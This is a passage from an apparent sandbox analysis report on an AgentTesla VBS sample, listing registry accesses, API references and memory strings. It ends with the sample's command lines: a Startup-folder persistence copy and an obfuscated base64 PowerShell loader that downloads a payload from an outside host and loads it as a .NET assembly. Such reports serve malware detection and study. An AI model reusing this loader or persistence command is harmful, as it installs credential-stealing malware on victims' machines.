"QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\SHELL\OPEN\DROPTARGET") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\DROPTARGET") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\PROGID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\PROGID")50:Tc8d,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00005228-00000C17-2791507630 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005228-00000C17-2791986477 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005228-00000C17-2792418610 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005228-00000C17-2792681585 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00008104-00000C17-2797063488 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00008104-00000C17-2797463432 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00008104-00000C17-2797486998 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00008104-00000C17-2797750674 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008104-00000C17-2797971620 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00002120-00000C17-2801132175 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00002120-00000C17-2801668746 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00002120-00000C17-2802385628 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002120-00000C17-2802629226 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00002120-00000C17-2803038656 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00002120-00000C17-2803180740 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00002120-00000C17-280325082751:T3992,Found reference to API (Indicator: "RaiseFailFastException"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp, 00000000-00005228.00000000.243438.EC103000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp")52:T847,"E\Software\MP" in Source: 00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp "Registry\Machine\SOFTWARE\Micro" in Source: 00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002120.00000000.244061.AAEA0000.00000004.mdmp 00000000-00002120.00000001.244972.AAEA0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002120.00000000.244061.C51D0000.00000004.mdmp 00000000-00002120.00000001.244972.C51D0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00002120.00000000.244061.C54A0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00002120.00000001.244972.C551B000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32" in Source: 00000000-00002120.00000001.244972.C551B000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005228.00000000.243438.8A9F3000.00000002.mdmp53:T188e,Process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\AgentTesla.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')" (UID: 00000000-00005228) Process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#